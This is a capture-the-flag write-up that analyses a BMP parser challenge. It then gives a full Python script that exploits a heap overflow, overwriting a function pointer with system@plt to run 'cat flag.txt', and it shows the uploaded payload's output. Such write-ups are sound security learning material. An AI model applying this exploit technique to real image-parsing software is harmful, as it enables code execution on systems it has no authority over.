Search for a command to run...
Find Santa Claus' secret gift for you!
The challenge involves a BMP image parser with a heap buffer overflow vulnerability.
From reverse engineering the chall binary:
process_bitmap() parses the BMP file:
bmp_img (0x30 bytes)image_size at offset 0x22malloc(width * height * 4), stored at bmp_img[0x20]malloc(8), stored at bmp_img[0x28]print_hidden_string address (0x401196) in the function pointer bufferimage_size >> 2 times, reading 4 bytes per iteration into the pixel bufferdec_bitmap() extracts hidden message:
A buffer overflow occurs because:
width * height * 4 = 19 × 17 × 4 = 1292 bytesimage_size (controlled by attacker in BMP header)If image_size > 1292, we overflow the pixel buffer into the adjacent function pointer chunk
Heap layout:
[bmp_img struct (0x30)] | [pixel buffer (1292)] | [chunk header (16)] | [func ptr (8)]
The function pointer is at offset 1292 + 20 = 1312 from the start of pixel buffer.
cat flag.txt\x00 in the LSB of the red channelimage_size to 1320 (1292 + 20 + 8) to overflow into function pointersystem@plt (0x401050) at the end of pixel datasystem("cat flag.txt")Solution script:
import struct
with open('gift.bmp', 'rb') as f:
original = f.read()
width, height = 19, 17
allocated = width * height * 4 # 1292
SYSTEM_PLT = 0x401050
command = "cat flag.txt\x00"
command_bits = []
for c in command:
for i in range(7, -1, -1):
command_bits.append((ord(c) >> i) & 1)
bmp_header = bytearray(original[:14])
dib_header = bytearray(original[14:54])
# Overflow offset: 20 bytes, chunk header + alignment
overflow_offset = 20
overflow_size = allocated + overflow_offset + 8
struct.pack_into('<I', dib_header, 20, overflow_size)
# Build pixel data with embedded command
pixel_data = bytearray()
bit_idx = 0
for i in range(width * height):
idx = 54 + i * 4
if idx + 3 < len(original):
b, g, r, a = original[idx:idx+4]
else:
b, g, r, a = 0xFF, 0xFF, 0xFF, 0xFF
if bit_idx < len(command_bits):
r = (r & 0xFE) | command_bits[bit_idx]
bit_idx += 1
pixel_data.extend([b, g, r, a])
# Overflow: padding + system@plt
pixel_data.extend(b'\x00' * overflow_offset)
pixel_data.extend(struct.pack('<Q', SYSTEM_PLT))
final = bytes(bmp_header) + bytes(dib_header) + bytes(pixel_data)
with open('exploit.bmp', 'wb') as f:
f.write(final)
Running the exploit:
# ...
r = requests.post(
f"{url}/upload",
files={"file": ("exploit.bmp", exploit_bmp, "image/bmp")},
timeout=10
)
print(f"Response:")
print(r.text)
returns:
Response:
RM{4ll_my_h0m1e5_h4t3_St3G}